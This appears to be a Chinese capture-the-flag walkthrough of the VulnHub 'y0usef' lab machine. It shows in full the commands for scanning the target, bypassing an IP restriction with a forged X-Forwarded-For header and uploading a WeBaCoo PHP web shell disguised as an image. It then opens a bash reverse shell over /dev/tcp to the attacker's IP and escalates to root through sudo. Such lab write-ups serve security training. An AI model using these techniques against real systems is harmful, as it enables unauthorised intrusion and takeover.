靶机: y0usef

准备工作

  • 靶机地址: https://download.vulnhub.com/y0usef/y0usef.ova

    • MD5 校验:28c5d869b003be94b2d8ab4b7b54a3b9

    • SHA 检验:aca12b3a13e93e84555d36629e03f555124bfca2

      • cmd 进行校验: certutil -hashfile 文件路径 EncryptionType
      • powershell 进行校验: Get-FileHash 文件路径 -Algorithm EncryptionType | Format-List
      • EncryptionType 是加密类型
    • 使用 VirtualBox

    • 网络 Host-Only

  • 配置网络环境:https://www.cnblogs.com/shadow-/p/16815020.html

    • kali: NAT + [ Bridged/Host-Only ]

靶机攻略

发现目标

使用常规工具:

  • arp-scan
  • nmap
  • netdiscover
  • fping

初步扫描 sudo arp-scan -l -I eth1

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
[sudo] kali 的密码:
Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:b7:62:e6       PCS Systemtechnik GmbH
192.168.56.119  08:00:27:20:ca:f9       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.169 seconds (118.03 hosts/sec). 3 responded
  • 发现目标 192.168.56.119
  • 192.168.56.1 是 virtualbox 在 Host-Only 的网关地址
  • 192.168.56.100 是 virtualbox 在 Host-Only 的 DHCP 服务器地址
  • 上面两个可以在 virtualbox 的 【管理 -> 网络操作管理器】 中看到

使用 nmap 对发现 IP 进行端口扫描 nmap -A -T4 192.168.56.119

┌──(kali㉿kali)-[~]
└─$ nmap -A -T4 192.168.56.119
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 10:51 CST
Nmap scan report for 192.168.56.119
Host is up (0.00087s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d8e0998c76f186a3ce09c819a41dc7e1 (DSA)
|   2048 82b020bc04ea3fc2cf73c3d4fab54b47 (RSA)
|   256 034db0704dcf5a4a87c3a5ee84ccaacc (ECDSA)
|_  256 64cdd0af6e0d201301963b8d163ad61b (ED25519)
80/tcp open  http    Apache httpd 2.4.10 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.70 seconds
  • 目标操作系统是 Ubuntu
  • 目标开发了两个端口 22/tcp 80/tcp
  • 22/tcp 开放的 OpenSSH 的 SSH 服务
  • 80/tcp 开放的 Apache 的 HTTP 服务

信息收集

在确认目标及开放端口后,我们需要进行信息收集方便的后续进攻

我们先使用 firefox 访问 http://192.168.56.119:80/Ctrl + U 查看源码

<html>
<head>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">

<body>
<div class="container-fluid">
<center class="mt-5">
<h1>Sorry , the site is under construction soon, it run </h1>
</center>
</div>
</body>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
</head>
</html>
  • 我们发现一句话 Sorry , the site is under construction soon, it run 提示我们当前站点服务没有对外开放,但已经运行

我们使用 whatweb 继续探测进行 Web 应用程序指纹识别,看看运行了什么 Web 应用

┌──(kali㉿kali)-[~]
└─$ whatweb http://192.168.56.119                                            
http://192.168.56.119 [200 OK] Apache[2.4.10], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.10 (Ubuntu)], IP[192.168.56.119], JQuery, PHP[5.5.9-1ubuntu4.29], Script, X-Powered-By[PHP/5.5.9-1ubuntu4.29]
  • Web 页面设计应该是 Bootstrap 完成
  • 我们发现后端可能使用 PHP

接下来我们使用 dirsearch 进行页面爬取

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.56.119

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                   
 (_||| _) (/_(_|| (_| )                                                                                                            
                                                                                                                                   
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/192.168.56.119/_22-11-20_11-12-49.txt

Error Log: /home/kali/.dirsearch/logs/errors-22-11-20_11-12-49.log

Target: http://192.168.56.119/

[11:12:49] Starting: 
[11:12:52] 403 -  300B  - /.ht_wsr.txt                                     
[11:12:52] 403 -  303B  - /.htaccess.orig                                  
......
[11:12:54] 403 -  293B  - /.php                                            
[11:12:54] 403 -  294B  - /.php3                                           
[11:13:21] 301 -  324B  - /adminstration  ->  http://192.168.56.119/adminstration/
[11:13:52] 200 -  791B  - /index.php/login/                                 
[11:13:52] 200 -  791B  - /index.php                                        
[11:14:26] 403 -  302B  - /server-status                                    
[11:14:26] 403 -  303B  - /server-status/                                   
                                                                             
Task Completed
  • 发现

    • /adminstration -> http://192.168.56.119/adminstration/ 内容被重定向
    • /index.php/login/ 这个和下面是差不多,首页一开始就访问发现不行
    • /index.php 这个没有必要访问,首页不需要

使用浏览器访问上面的发现

  • 在 firefox 访问 http://192.168.56.119/adminstration/ 发现是 403 但前面 dirsearch 发现重定向 304

为什么要重定向到一个无法访问的地方,还是说重定向的地方是我们无法访问,此处是存在深挖的

我们使用 mitmproxy 代理拦截,看看通信过程中发生了什么,工具不使用 mitmproxy 使用 Burp Suite 作用相同,下面内容我将使用 mitmproxy 结合 curl 进行,当然 curl 不用用浏览器也是相同的

┌──(kali㉿kali)-[~]
└─$ curl http://192.168.56.119/adminstration/ -v
*   Trying 192.168.56.119:80...
* Connected to 192.168.56.119 (192.168.56.119) port 80 (#0)
> GET /adminstration/ HTTP/1.1
> Host: 192.168.56.119
> User-Agent: curl/7.85.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 403 Forbidden
< Date: Sun, 20 Nov 2022 03:29:31 GMT
< Server: Apache/2.4.10 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.29
< Set-Cookie: PHPSESSID=qmvkv485klr4mraqrfrjcvvjd7; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 75
< Connection: close
< Content-Type: text/html
< 
* Closing connection 0
<h1>Forbidden</h1><p>You don't have permission to access on this folder</p> 
  • 从请求与响应上看拒绝处理它,通常由于服务器上文件或目录的权限设置导致的 web 访问错误

我们需要尝试绕过服务器上文件或目录的权限设置,通过对请求进行设置

  • 设置 Host 绕过,使用不同域名
  • 请求覆盖,无效请求使用其他参数矫正,但只有部分应用会支持 非标准的请求头 使用做好前面的 Web 应用信息收集
    X-Original-URL
    X-Rewrite-URL
  • 设置 Referer 表示请求来源,以突破限制获取信任
  • 通常网站的后台管理都是对内网 ip 开放的,此时可以使用各种各样代理转发相关的http请求头来绕过内网ip访问限制
    – X-Forwarded-For
    – X-Forward-For
    – X-Remote-IP
    – X-Originating-IP
    – X-Remote-Addr
    – X-Client-IP

不知道可以每个都尝试一下,但我们知道上面存在重定向,我们更应该怀疑是内网隔离了使用方法四,方法一我们没有域名信息不能使用,方法二之前 whatweb 已经探明 Web 应用方法二测试后是不行的,方法三尝试过就会发现不行

  • 下面命令

    curl http://192.168.56.119/adminstration/ \
    -H 'X-Forwarded-For: 127.0.0.1'
    
  • http://192.168.56.119/adminstration/ 源码

    <html>
    <head>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
    <body>
    <form action="" method="POST">
    
    <div class="container mt-5">
        <div class="form-group">
            <label for="exampleInputUsername">Username</label>
            <input type="text" class="form-control" name="username" placeholder="Enter username">
            <small id="emailHelp" class="form-text text-muted">We'll never share your username with anyone else.</small>
        </div>
        <div class="form-group">
            <label for="exampleInputPassword">Password</label>
            <input type="password" class="form-control" name="password" placeholder="Password">
        </div>
        <button type="submit" class="btn btn-primary">Submit</button>
    </div>
    
    </form>
    </body>
    </head>
    </html>
    

接下来我们使用 mitmproxy

  • 命令 mitmproxy 启动,程序

    • q 退出,如果不明白可以查查怎么用
    • : 使用命令,输入 set modify_headers '/~q/X-Forwarded-For/127.0.0.1' 设置将所有请求的请求头中设置选项 X-Forwarded-For127.0.0.1 突破权限封锁
  • ctrl + shift + d 可以将 shell 伪终端上下分屏,上方是 Mitmproxy 的 TUI 界面,下方是 Bash 的 CLI 界面,此操作仅是方便你操作,如果知道请忽略

  • 在 Firefox 中设置代理,手动代理 -> HTTP 代理 127.0.0.1 端口 8080

  • 现在 Firefox 浏览器可以随意访问

在页面中进行密码猜测,结果 username=admin,password=admin

  • 其他页面都没有什么
  • 但 upload file 可以上传文件

使用文件上传

┌──(kali㉿kali)-[~/workspace]
└─$ webacoo -g -o a.php     

        WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
        Copyright (C) 2011-2012 Anestis Bechtsoudis
        { @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+] Backdoor file "a.php" created.
                                
  • 使用 webacoo 生成脚本
  • 先在 mitmproxy 设置拦截,按 i 然后 ~q 拦截请求
  • 然后在 firefox 上传 a.php 木马,会被拦截
  • mitmproxy 中选中拦截的请求按 e 编辑请求体,将 Content-Type 改为 image/png 欺骗目标
  • 然后按 a 恢复请求
  • 然看 mitmproxy 响应体,知道上传文件位置 files/1668933026a.php
file uploadad files/1668933026a.php
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta name="description" content="">
  <meta name="author" content="">

使用 proxychains-ng 设置代理,使用 webacoo 攻击

  • 生成 proxychains 代理配置文件

    cat /etc/proxychains4.conf > proxychains.conf
    vim proxychains.conf # 改 socks4 127.0.0.1 9050 --> http 127.0.0.1 8080
    
  • 使用 webacoo 登录

    ┌──(kali㉿kali)-[~/workspace]
    └─$ proxychains -f proxychains.conf webacoo -t -u http://192.168.56.119/adminstration/upload/files/1668933026a.php
    [proxychains] config file found: proxychains.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    
            WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
            Copyright (C) 2011-2012 Anestis Bechtsoudis                                                                                 
            { @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }                                                         
                                                                                                                                        
    [+] Connecting to remote server as...                                                                                               
    [proxychains] Strict chain  ...  127.0.0.1:8080  ...  192.168.56.119:80  ...  OK
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    [*] Type 'load' to use an extension module.
    [*] Type ':<cmd>' to run local OS commands.
    [*] Type 'exit' to quit terminal.
    
    webacoo$ 
    

反弹 Shell

  • 在本地开启 nc -lnvp 4444 端口监听

  • 在 webacoo 依次执行下面三条命令

    touch a.sh
    echo '#! /bin/bash\nbash -i >& /dev/tcp/192.168.56.116/4444 0>&1' > a.sh && chmod +x ./a.sh
    ./a.sh
    
  • 提升 shell 互动性 python -c "import pty; pty.spawn('/bin/bash')"

账号提权

我们可以先查看 /ect/passwd

www-data@yousef-VirtualBox:/var/www/html/adminstration/upload/files$ cat /etc/passwd
</var/www/html/adminstration/upload/files$ cat /etc/passwd                   
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
yousef:x:1000:1000:yousef,,,:/home/yousef:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
guest-cpxNn2:x:116:125:Guest,,,:/tmp/guest-cpxNn2:/bin/bash
sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin
  • 发现用户 yousef

继续,我们去 cd /home 确认一下

www-data@yousef-VirtualBox:/home$ ls
ls
user.txt  yousef
www-data@yousef-VirtualBox:/home$ cat user.txt
cat user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
  • 发现一个奇怪文件,使用 cat user.txt 查看发现是 base64 编码

我们尝试解密

┌──(kali㉿kali)-[~]
└─$ echo 'c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=' | base64 -d
ssh : 
user : yousef 
pass : yousef123
  • 发现是 ssh 的 yousef 密码

我们尝试使用进行登录

┌──(kali㉿kali)-[~]
└─$ ssh yousef@192.168.56.119                                                                                                 255 ⨯
The authenticity of host '192.168.56.119 (192.168.56.119)' can't be established.
ED25519 key fingerprint is SHA256:J3OrMiuy5X+zdlTAYCltBBCNaN3bxTjPbQvtPR6QSzE.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.119' (ED25519) to the list of known hosts.
yousef@192.168.56.119's password: 
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic i686)

 * Documentation:  https://help.ubuntu.com/

778 packages can be updated.
482 updates are security updates.

Last login: Tue Dec  8 01:58:33 2020 from s
yousef@yousef-VirtualBox:~$ 
  • 登录成功

二次提权

查看一番

yousef@yousef-VirtualBox:~$ id
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
yousef@yousef-VirtualBox:~$ sudo -l
[sudo] password for yousef: 
Matching Defaults entries for yousef on yousef-VirtualBox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User yousef may run the following commands on yousef-VirtualBox:
    (ALL : ALL) ALL
  • 发现此账号可以直接 sudo -s 进入 root

    yousef@yousef-VirtualBox:~$ sudo -s
    root@yousef-VirtualBox:~# id
    uid=0(root) gid=0(root) groups=0(root)
    

结束 GAME OVER

原文地址:http://www.cnblogs.com/shadow-/p/16909038.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性